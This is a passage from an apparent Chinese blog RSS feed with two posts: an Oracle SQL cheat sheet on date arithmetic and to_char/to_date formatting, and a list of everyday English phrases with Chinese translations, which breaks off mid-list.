<br><span style="font-size:13px;line-height:1.8em;">select sysdate,sysdate - interval '7' MINUTE from dual </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">当前时间减去7小时的时间 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">select sysdate - interval '7' hour from dual </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">当前时间减去7天的时间 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">select sysdate - interval '7' day from dual </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">当前时间减去7月的时间 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">select sysdate,sysdate - interval '7' month from dual </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">当前时间减去7年的时间 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">select sysdate,sysdate - interval '7' year from dual </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">时间间隔乘以一个数字 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">select sysdate,sysdate - 8 *interval '2' hour from dual </span><wbr /><br><br><span style="font-size:13px;line-height:1.8em;">2.日期到字符操作 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">select sysdate,to_char(sysdate,'yyyy-mm-dd hh24:mi:ss') from dual </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">select sysdate,to_char(sysdate,'yyyy-mm-dd hh:mi:ss') from dual </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">select sysdate,to_char(sysdate,'yyyy-ddd hh:mi:ss') from dual </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">select sysdate,to_char(sysdate,'yyyy-mm iw-d hh:mi:ss') from dual </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">参考oracle的相关关文档(ORACLE901DOC/SERVER.901/A90125/SQL_ELEMENTS4.HTM#48515) </span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">3. 字符到日期操作 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">select to_date('2003-10-17 21:15:37','yyyy-mm-dd hh24:mi:ss') from dual </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">具体用法和上面的to_char差不多。 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">4. trunk/ ROUND函数的使用 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">select trunc(sysdate ,'YEAR') from dual </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">select trunc(sysdate ) from dual </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">select to_char(trunc(sysdate ,'YYYY'),'YYYY') from dual </span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">5.oracle有毫秒级的数据类型 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">--返回当前时间 年月日小时分秒毫秒 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">select to_char(current_timestamp(5),'DD-MON-YYYY HH24:MI:SSxFF') from dual; </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">--返回当前 时间的秒毫秒，可以指定秒后面的精度(最大=9) </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">select to_char(current_timestamp(9),'MI:SSxFF') from dual; </span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">6.计算程序运行的时间(ms) </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">declare </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">type rc is ref cursor; </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">l_rc rc; </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">l_dummy all_objects.object_name%type; </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">l_start number default dbms_utility.get_time; </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">begin </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">for I in 1 .. 1000 </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">loop </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">open l_rc for </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">'select object_name from all_objects '|| </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">'where object_id = ' || i; </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">fetch l_rc into l_dummy; </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">close l_rc; </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">end loop; </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">dbms_output.put_line </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">( round( (dbms_utility.get_time-l_start)/100, 2 ) || </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">' seconds...' ); </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">end;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> </span><wbr /><br><span style="font-weight:bold"><wbr /><span style="font-size:13px;line-height:1.8em;">to_char() function</span><wbr /></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">The following are number examples for the <span style="font-weight:bold"><wbr />to_char</span><wbr /> function.</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">to_char(1210.73, '9999.9')</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">would return '1210.7'</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">to_char(1210.73, '9,999.99')</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">would return '1,210.73'</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">to_char(1210.73, '$9,999.00')</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">would return '$1,210.73'</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">to_char(21, '000099')</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">would return '000021'</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;line-height:1.8em;">The following is a list of valid parameters when the <span style="font-weight:bold"><wbr />to_char</span><wbr /> function is used to convert a date to a string. These parameters can be used in many combinations.</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> </span><wbr /><br><span style="font-size:13px;line-height:1.8em;"></span><wbr /><br><span style="font-weight:bold"><wbr /><span style="font-size:13px;line-height:1.8em;">Parameter</span><wbr /></span><wbr /><br><span style="font-weight:bold"><wbr /><span style="font-size:13px;line-height:1.8em;">Explanation</span><wbr /></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">YEAR</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Year, spelled out</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">YYYY</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">4-digit year</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">YYY<span style="font-weight:bold"><wbr />YY<span style="font-weight:bold"><wbr />Y</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Last 3, 2, or 1 digit(s) of year.</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">IYY<span style="font-weight:bold"><wbr />IY<span style="font-weight:bold"><wbr />I</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Last 3, 2, or 1 digit(s) of ISO year.</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">IYYY</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">4-digit year ｂａｓｅd on the ISO standard</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Q</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Quarter of year (1, 2, 3, 4; JAN-MAR = 1).</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">MM</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Month (01-12; JAN = 01).</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">MON</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Abbreviated name of month.</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">MONTH</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Name of month, padded with blanks to length of 9 characters.</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">RM</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Roman numeral month (I-XII; JAN = I).</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">WW</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Week of year (1-53) where week 1 starts on the first day of the year and continues to the seventh day of the year.</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">W</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Week of month (1-5) where week 1 starts on the first day of the month and ends on the seventh.</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">IW</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Week of year (1-52 or 1-53) ｂａｓｅd on the ISO standard.</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">D</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Day of week (1-7).</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">DAY</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Name of day.</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">DD</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Day of month (1-31).</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">DDD</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Day of year (1-366).</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">DY</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Abbreviated name of day.</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">J</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Julian day; the number of days since January 1, 4712 BC.</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">HH</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Hour of day (1-12).</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">HH12</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Hour of day (1-12).</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">HH24</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Hour of day (0-23).</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">MI</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Minute (0-59).</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">SS</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Second (0-59).</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">SSSSS</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Seconds past midnight (0-86399).</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">FF</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">Fractional seconds.</span><wbr /><br><span style="font-weight:bold"><wbr /><span style="font-size:13px;line-height:1.8em;"></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">The following are date examples for the <span style="font-weight:bold"><wbr />to_char</span><wbr /> function.</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">to_char(sysdate, 'yyyy/mm/dd');</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">would return '2003/07/09'</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">to_char(sysdate, 'Month DD, YYYY');</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">would return 'July 09, 2003'</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">to_char(sysdate, 'FMMonth DD, YYYY');</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">would return 'July 9, 2003'</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">to_char(sysdate, 'MON DDth, YYYY');</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">would return 'JUL 09TH, 2003'</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">to_char(sysdate, 'FMMON DDth, YYYY');</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">would return 'JUL 9TH, 2003'</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">to_char(sysdate, 'FMMon ddth, YYYY');</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">would return 'Jul 9th, 2003'</span><wbr /><br><span style="font-weight:bold"><wbr /><span style="font-size:13px;line-height:1.8em;"></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">You will notice that in some examples, the <span style="font-style:italic"><wbr />format_mask</span><wbr /> parameter begins with &quot;FM&quot;. This means that zeros and blanks are suppressed. This can be seen in the examples below.</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"></span><wbr /><br><span style="font-size:13px;line-height:1.8em;">to_char(sysdate, 'FMMonth DD, YYYY');</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">would return 'July 9, 2003'</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">to_char(sysdate, 'FMMON DDth, YYYY');</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">would return 'JUL 9TH, 2003'</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">to_char(sysdate, 'FMMon ddth, YYYY');</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">would return 'Jul 9th, 2003'</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">The zeros have been suppressed so that the day component shows as &quot;9&quot; as opposed to &quot;09&quot;.</span><wbr /><br><span style="font-weight:bold"><wbr /><span style="font-size:13px;line-height:1.8em;"></span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><span style="font-weight:bold"><wbr />Oracle</span><wbr /><span style="font-weight:bold"><wbr />函数</span><wbr /><span style="font-weight:bold"><wbr />to_char</span><wbr /><span style="font-weight:bold"><wbr />转化数字型指定小数点位数的用法</span><wbr /></span><wbr /><span style="font-weight:bold"><wbr /><br><span style="font-size:13px;line-height:1.8em;">to_char，函数功能，就是将数值型或者日期型转化为字符型。</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">比如最简单的应用：</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">/*1.0123---&gt;'1.0123'*/</span><wbr /><span style="font-size:13px;line-height:1.8em;"> <span style="font-weight:bold"><wbr />Select TO_CHAR(1.0123) FROM DUAL <span style="font-weight:bold"><wbr />/*123---&gt;'123'*/ <span style="font-weight:bold"><wbr />Select TO_CHAR(123) FROM DUAL</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> 接下来再看看下面：</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">/*0.123 ---&gt; '.123' */</span><wbr /><span style="font-size:13px;line-height:1.8em;"> <span style="font-weight:bold"><wbr />SELEC TO_CHAR(0.123) FROM DUAL</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> 上面的结果 '.123' 在大多数情况下都不是我们想要的结果，我们想要的应该是 '0.123'。</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">我们来看一下to_char函数的具体用法：</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">TO_CHAR ( n [, fmt [, 'nlsparam']] )</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">该函数将NUMBER类型的n按数值格式fmt转换成VARCHAR2类型的值。'nlsparams'指定由数值格式的元素返回的字符,包括</span><wbr /><span style="font-size:13px;line-height:1.8em;">: <span style="font-weight:bold"><wbr /><span style="font-weight:bold"><wbr />．小数点字符</span><wbr /><span style="font-size:13px;line-height:1.8em;"> <span style="font-weight:bold"><wbr /><span style="font-weight:bold"><wbr />．组分隔符</span><wbr /><span style="font-size:13px;line-height:1.8em;"> <span style="font-weight:bold"><wbr /><span style="font-weight:bold"><wbr />．本地钱币符号</span><wbr /><span style="font-size:13px;line-height:1.8em;"> <span style="font-weight:bold"><wbr /><span style="font-weight:bold"><wbr />．国际钱币符号</span><wbr /><span style="font-size:13px;line-height:1.8em;"> <span style="font-weight:bold"><wbr /><span style="font-weight:bold"><wbr />变元的形式为：</span><wbr /><span style="font-size:13px;line-height:1.8em;"> <span style="font-weight:bold"><wbr /><span style="font-weight:bold"><wbr /></span><wbr /><span style="font-size:13px;line-height:1.8em;">'NLS_NUMERIC_CHARACTERS=&quot;dg&quot; NLS_CURRENCY=&quot;tcxt&quot; NLS_ISO_CURRENCY=territory' <span style="font-weight:bold"><wbr /><span style="font-weight:bold"><wbr /></span><wbr /><span style="font-size:13px;line-height:1.8em;">其中d为小数点字符,g为组分隔符。</span><wbr /><span style="font-size:13px;line-height:1.8em;"> <span style="font-weight:bold"><wbr /><span style="font-weight:bold"><wbr />例 :TO_CHAR (17145,'L099G999','NLS_NUMERIC_CHARACTERS=&quot;.,&quot; NLS_CURRENCY=&quot;NUD&quot;')=NUD017,145</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">通过上面的了解，再查看fmt的一些格式，我们可以用以下表达式得到'0.123'的值：</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">/*0.123 ---&gt; ' 0.123' */</span><wbr /><span style="font-size:13px;line-height:1.8em;">  <span style="font-weight:bold"><wbr />Select TO_CHAR(0.123,'0.999') FROM DUAL <span style="font-weight:bold"><wbr />/*100.12 ---&gt; '######' */  <span style="font-weight:bold"><wbr />Select TO_CHAR(100.12,'0.999') FROM DUAL <span style="font-weight:bold"><wbr />/*1.12 ---&gt; ' 1.120' */  <span style="font-weight:bold"><wbr />Select TO_CHAR(1.12,'0.999') FROM DUAL</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"> ' 0.123'是出来了，可是前面又多了一个空格。</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">对于 100.12 的值却是######，以及'1.12'的值变成了 '1.120'。</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">我们重新确定一个新的需求：</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">1、去空格</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">2、小数点最多4位，最少保留2位。</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">    1---&gt;'1.00'；1.1---&gt;'1.00'；1.12--&gt;'1.12'；1.1234---&gt;'1.1234'；</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">    1.12345---&gt;'1.1235'</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">最终实现如下：</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">/* <span style="font-weight:bold"><wbr />  FM ：除空格</span><wbr /><span style="font-size:13px;line-height:1.8em;">   <span style="font-weight:bold"><wbr />  9999999.0099：允许小数点左边最大正数为7位，小数点右边最少2位，最多4位，且在第5位进行四舍五入</span><wbr /><span style="font-size:13px;line-height:1.8em;"> <span style="font-weight:bold"><wbr />*/</span><wbr /><span style="font-size:13px;line-height:1.8em;">  <span style="font-weight:bold"><wbr />Select TO_CHAR(123.0233,'FM9999999.0099') FROM DUAL</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[数据库类]]></category>
<author><![CDATA[93039799@qq.com(树袋熊)]]></author>
<comments>http://93039799.qzone.qq.com/blog/1255917932#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Mon, 19 Oct 2009 02:05:32 GMT</pubDate>
<guid>http://93039799.qzone.qq.com/blog/1255917932</guid>
</item>

<item>
<title><![CDATA[英语口语]]></title>
<link>http://93039799.qzone.qq.com/blog/1253158611</link>
<description><![CDATA[<li style="margin:25px;">   Normal  0    7.8 磅  0  2    false  false  false                                          MicrosoftInternetExplorer4    /* Style Definitions */ table.MsoNormalTable	{mso-style-name:普通表格;	mso-tstyle-rowband-size:0;	mso-tstyle-colband-size:0;	mso-style-noshow:yes;	mso-style-parent:&quot;&quot;;	mso-padding-alt:0cm 5.4pt 0cm 5.4pt;	mso-para-margin:0cm;	mso-para-margin-bottom:.0001pt;	mso-pagination:widow-orphan;	font-size:10.0pt;	font-family:&quot;Times New Roman&quot;;	mso-fareast-font-family:&quot;Times New Roman&quot;;	mso-ansi-language:#0400;	mso-fareast-language:#0400;	mso-bidi-language:#0400;}<span style="line-height:1.8em;">1. I see</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">我明白了。</span><wbr /><br>2. I quit! <span style="font-family:' 宋体';line-height:1.8em;">我不干了</span><wbr />!<br>3. Let go! <span style="font-family:' 宋体';line-height:1.8em;">放手</span><wbr />!<br>4. Me too<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我也是。</span><wbr /><br>5. My god! <span style="font-family:' 宋体';line-height:1.8em;">天哪</span><wbr />!<br>6. No way! <span style="font-family:' 宋体';line-height:1.8em;">不行</span><wbr />!<br>7. Come on<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">来吧</span><wbr /><span style="line-height:1.8em;">(</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">赶快</span><wbr />)<br>8. Hold on<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">等一等。</span><wbr /><br>9. I agree<span style="font-family:' 宋体';line-height:1.8em;">。</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我同意。</span><wbr /><br>10. Not bad<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">还不错。</span><wbr /><br>11. Not yet<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">还没。</span><wbr /><br>12. See you<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">再见。</span><wbr /><br>13. Shut up! <span style="font-family:' 宋体';line-height:1.8em;">闭嘴</span><wbr />!<br>14. So long<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">再见。</span><wbr /><br>15. Why not? <span style="font-family:' 宋体';line-height:1.8em;">好呀</span><wbr /><span style="line-height:1.8em;">! (</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">为什么不呢</span><wbr />?)<br>16. Allow me<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">让我来。</span><wbr /><br>17. Be quiet! <span style="font-family:' 宋体';line-height:1.8em;">安静点</span><wbr />!<br>18. Cheer up! <span style="font-family:' 宋体';line-height:1.8em;">振作起来</span><wbr />!<br>19. Good job! <span style="font-family:' 宋体';line-height:1.8em;">做得好</span><wbr />!<br>20. Have fun! <span style="font-family:' 宋体';line-height:1.8em;">玩得开心</span><wbr />!<br>21. How much? <span style="font-family:' 宋体';line-height:1.8em;">多少钱</span><wbr />?<br>22. I'm full<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我饱了。</span><wbr /><br>23. I'm home<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我回来了。</span><wbr /><br>24. I'm lost<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我迷路了。</span><wbr /><br>25. My treat<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我请客。</span><wbr /><br>26. So do I<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我也一样。</span><wbr /><br>27. This way<span style="font-family:' 宋体';line-height:1.8em;">。</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">这边请。</span><wbr /><br>28. After you<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">您先。</span><wbr /><br>29. Bless you! <span style="font-family:' 宋体';line-height:1.8em;">祝福你</span><wbr />!<br>30. Follow me<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">跟我来。</span><wbr /><br>31. Forget it! <span style="font-family:' 宋体';line-height:1.8em;">休想</span><wbr /><span style="line-height:1.8em;">! (</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">算了</span><wbr />!)<br>32. Good luck! <span style="font-family:' 宋体';line-height:1.8em;">祝好运</span><wbr />!<br>33. I decline! <span style="font-family:' 宋体';line-height:1.8em;">我拒绝</span><wbr />!<br>34. I promise<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我保证。</span><wbr /><br>35. Of course! <span style="font-family:' 宋体';line-height:1.8em;">当然了</span><wbr />!<br>36. Slow down! <span style="font-family:' 宋体';line-height:1.8em;">慢点</span><wbr />!<br>37. Take care! <span style="font-family:' 宋体';line-height:1.8em;">保重</span><wbr />!<br>38. They hurt<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /><span style="line-height:1.8em;"> (</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">伤口</span><wbr /><span style="line-height:1.8em;">)</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">疼。</span><wbr /><br>39. Try again<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">再试试。</span><wbr /><br>40. Watch out! <span style="font-family:' 宋体';line-height:1.8em;">当心。</span><wbr /><br>41. What's up? <span style="font-family:' 宋体';line-height:1.8em;">有什么事吗</span><wbr />?<br>42. Be careful! <span style="font-family:' 宋体';line-height:1.8em;">注意</span><wbr />!<br>43. Bottoms up! <span style="font-family:' 宋体';line-height:1.8em;">干杯</span><wbr /><span style="line-height:1.8em;">(</span><wbr /><span style="font-family:' 宋体';line-height:1.8em;">见底</span><wbr />)!<br>44. Don't move! <span style="font-family:' 宋体';line-height:1.8em;">不许动</span><wbr />!<br>45. Guess what? <span style="font-family:' 宋体';line-height:1.8em;">猜猜看</span><wbr />?<br>46. I doubt it <span style="font-family:' 宋体';line-height:1.8em;">我怀疑。</span><wbr /><br>47. I think so<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我也这么想。</span><wbr /><br>48. I'm single<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我是单身贵族。</span><wbr /><br>49. Keep it up! <span style="font-family:' 宋体';line-height:1.8em;">坚持下去</span><wbr />!<br>50. Let me see<span style="font-family:' 宋体';line-height:1.8em;">．让我想想。</span><wbr /><br>51. Never mind<span style="font-family:' 宋体';line-height:1.8em;">．不要紧。</span><wbr /><br>52. No problem! <span style="font-family:' 宋体';line-height:1.8em;">没问题</span><wbr />!<br>53. That's all! <span style="font-family:' 宋体';line-height:1.8em;">就这样</span><wbr />!<br>54. Time is up<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">时间快到了。</span><wbr /><br>55. What's new? <span style="font-family:' 宋体';line-height:1.8em;">有什么新鲜事吗</span><wbr />?<br>56. Count me on <span style="font-family:' 宋体';line-height:1.8em;">算上我。</span><wbr /><br>57. Don't worry<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">别担心。</span><wbr /><br>58. Feel better? <span style="font-family:' 宋体';line-height:1.8em;">好点了吗</span><wbr />?<br>59. I love you! <span style="font-family:' 宋体';line-height:1.8em;">我爱你</span><wbr />!<br>60. I'm his fan<span style="font-family:' 宋体';line-height:1.8em;">。</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我是他的影迷。</span><wbr /><br>61. Is it yours? <span style="font-family:' 宋体';line-height:1.8em;">这是你的吗</span><wbr />?<br>62. That's neat<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">这很好。</span><wbr /><br>63. Are you sure? <span style="font-family:' 宋体';line-height:1.8em;">你肯定吗</span><wbr />?<br>64. Do l have to <span style="font-family:' 宋体';line-height:1.8em;">非做不可吗</span><wbr />?<br>65. He is my age<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">他和我同岁。</span><wbr /><br>66. Here you are<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">给你。</span><wbr /><br>67. No one knows . <span style="font-family:' 宋体';line-height:1.8em;">没有人知道。</span><wbr /><br>68. Take it easy<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">别紧张。</span><wbr /><br>69. What a pity! <span style="font-family:' 宋体';line-height:1.8em;">太遗憾了</span><wbr />!<br>70. Any thing else? <span style="font-family:' 宋体';line-height:1.8em;">还要别的吗</span><wbr />?<br>71. To be careful! <span style="font-family:' 宋体';line-height:1.8em;">一定要小心</span><wbr />!<br>72. Do me a favor? <span style="font-family:' 宋体';line-height:1.8em;">帮个忙，好吗</span><wbr />?<br>73. Help yourself<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">别客气。</span><wbr /><br>74. I'm on a diet<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">我在节食。</span><wbr /><br>75. Keep in Touch<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">保持联络。</span><wbr /><br>76. Time is money<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">时间就是金钱。</span><wbr /><br>77. Who's calling? <span style="font-family:' 宋体';line-height:1.8em;">是哪一位</span><wbr />?<br>78. You did right<span style="font-family:' 宋体';line-height:1.8em;">．</span><wbr /> <span style="font-family:' 宋体';line-height:1.8em;">你做得对。</span><wbr /><br>79. You set me up! <span style="font-family:' 宋体';line-height:1.8em;">你出卖我</span><wbr />!<br>80. Can I help you? <span style="font-family:' 